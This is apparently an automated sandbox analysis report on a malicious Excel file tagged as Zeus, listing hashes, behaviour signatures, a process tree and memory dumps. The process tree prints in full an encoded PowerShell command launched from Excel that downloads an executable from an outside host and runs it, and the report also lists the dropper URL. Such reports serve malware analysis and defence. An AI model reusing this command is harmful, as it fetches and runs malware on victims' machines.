Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    15-12-2024 17:34

General

  • Target

    486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421.xls

  • Size

    60KB

  • MD5

    cb1b432c3c8341c03bd9c068e77b8483

  • SHA1

    90e2fe9ae82c5643bd20729ee048088a38101fcb

  • SHA256

    486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421

  • SHA512

    a08218d7ec69c7b5657c9b4771b5dae36abbd753b8f3360adb6e0b05e1cd0f4ff4a3019690cbd5ac1dacb73137c8e507d0215ee0f0af5530a631b26f68a0ff6f

  • SSDEEP

    1536:cDZ+RwPONXoRjDhIcp0fDlaGGx+cL26nAAXyrrgZ2vGqJZHxMi4ZOyzpGwS:cDZ+RwPONXoRjDhIcp0fDlaGGx+cL26O

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://a.doko.moe/aknxfz.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Zeus
  • Zeus family
  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Windows\SysWOW64\cMD.exe
      cMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAcwBIAHoANABMAFAAeABfAFMARwBiAEYANQBNAGUAQwBIACAAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAHYAYgBoAGUAUQBJAGYAVwA0AGUAagAzAG0AcwBoAFUATQAgACkAOwAgAH0ADQAKAHQAcgB5AHsADQAKAA0ACgAkAGcANQB4AGQAaQBhAEIAaABUAFoAVgB1ADQAWABXADcAMgBqADkAeABYAGsATwA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwAQQA2ADYANQA1ADgAWQBBADEAXwA5AGsAbgA1AHgAYQBmAC4AZQB4AGUAJwA7AA0ACgBzAEgAegA0AEwAUAB4AF8AUwBHAGIARgA1AE0AZQBDAEgAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AYQBrAG4AeABmAHoALgBqAHAAZwAnACAAJABnADUAeABkAGkAYQBCAGgAVABaAFYAdQA0AFgAVwA3ADIAagA5AHgAWABrAE8AOwANAAoADQAKAH0AYwBhAHQAYwBoAHsAfQA=
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2900
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAcwBIAHoANABMAFAAeABfAFMARwBiAEYANQBNAGUAQwBIACAAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAHYAYgBoAGUAUQBJAGYAVwA0AGUAagAzAG0AcwBoAFUATQAgACkAOwAgAH0ADQAKAHQAcgB5AHsADQAKAA0ACgAkAGcANQB4AGQAaQBhAEIAaABUAFoAVgB1ADQAWABXADcAMgBqADkAeABYAGsATwA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwAQQA2ADYANQA1ADgAWQBBADEAXwA5AGsAbgA1AHgAYQBmAC4AZQB4AGUAJwA7AA0ACgBzAEgAegA0AEwAUAB4AF8AUwBHAGIARgA1AE0AZQBDAEgAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AYQBrAG4AeABmAHoALgBqAHAAZwAnACAAJABnADUAeABkAGkAYQBCAGgAVABaAFYAdQA0AFgAVwA3ADIAagA5AHgAWABrAE8AOwANAAoADQAKAH0AYwBhAHQAYwBoAHsAfQA=
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2748

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1904-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1904-1-0x000000007205D000-0x0000000072068000-memory.dmp

    Filesize

    44KB

  • memory/1904-10-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-7-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-6-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-5-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-4-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-3-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-2-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-16-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-11-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB

  • memory/1904-21-0x000000007205D000-0x0000000072068000-memory.dmp

    Filesize

    44KB

  • memory/1904-22-0x00000000003B0000-0x00000000004B0000-memory.dmp

    Filesize

    1024KB